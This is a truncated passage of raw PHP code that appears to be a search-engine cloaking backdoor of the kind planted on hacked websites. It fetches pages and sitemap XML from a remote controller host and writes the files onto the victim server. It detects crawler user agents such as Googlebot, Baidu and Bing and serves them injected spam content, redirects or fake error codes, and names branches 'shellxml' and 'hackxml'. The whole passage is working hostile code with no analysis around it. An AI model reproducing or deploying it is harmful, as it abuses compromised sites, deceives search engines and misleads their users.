'; foreach($filearray as $value){ if(stristr($value,'.xml')){ $mapindex_str .= ' '."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.' '; } } $mapindex_str .= ' '; $xmlname = @$_GET['mapindex'].'.xml'; $myfile = fopen($xmlname, "w"); fwrite($myfile, $mapindex_str); fclose($myfile); echo "ok
http://".$_SERVER['HTTP_HOST']."/".$xmlname; //echo "
".$web; exit; }else{ echo 'xml file less number mapindex faile!'; exit; } } $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http.'&lang='.$lang; if(substr($temp,0,8)=='shellxml'){ $xmlname = substr($temp,8).'.xml'; } if(substr($temp,0,7)=='hackxml'){ if(substr($temp,7)){ $xmlname = substr($temp,7).'.xml'; } } if(@$_GET['mapdir']){ if($filetype==1){ $xmlname = $xmlname.'.gz'; }else if($filetype==2){ if(function_exists('gzopen')) { $xmlname = $xmlname.'.gz'; if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo 'no creat map!'; exit; } $fp = gzopen ($mapdir.'/'.$xmlname, 'w9'); gzwrite ($fp, $xml); gzclose($fp); echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; //echo "
".$web; exit(); }else{ gzclose($fp); echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; //echo "
".$web; exit(); } }else{ echo 'gzopen no exists!
'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http; //echo "
".$web; exit(); } } if(fopen($mapdir.'/'.$xmlname, "w")){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo 'no creat map!'; exit; } $myfile = fopen($mapdir.'/'.$xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; //echo "
".$web; exit(); }else{ fclose($myfile); echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname; //echo "
".$web; exit(); } }else{ if(fopen($xmlname, "w")){ $xml = trim(smoutdo($web)); if(stristr($xml,'no creat map')){ echo 'no creat map!'; exit; } $myfile = fopen($xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname; //echo "
".$web; exit(); }else{ fclose($myfile); echo 'creat sitemap faile No Permissions!
'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname; //echo "
".$web; exit(); } } } if($id){ @header("Content-type: text/html; charset=utf-8"); $web = $http_web.'://'.$goweb.'/indexnew.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page.'&lang='.$lang; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } }else{ $web = $http_web.'://'.$goweb.'/indexnew.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page.'&lang='.$lang; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ @header("Content-type: text/html; charset=utf-8"); if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); }else if(strstr($html_content,'getcontent301page')){ @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page",'',$html_content); header('Location: '.$html_content); exit(); } } } function smisbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo'); foreach ($googleBot as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smotherbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot'); foreach ($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; } } function smoutdo($url){ $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } function listDir($dir){ $filearr = array(); if(is_dir($dir)){ if ($dh = opendir($dir)){ while (($file = readdir($dh)) !== false){ if((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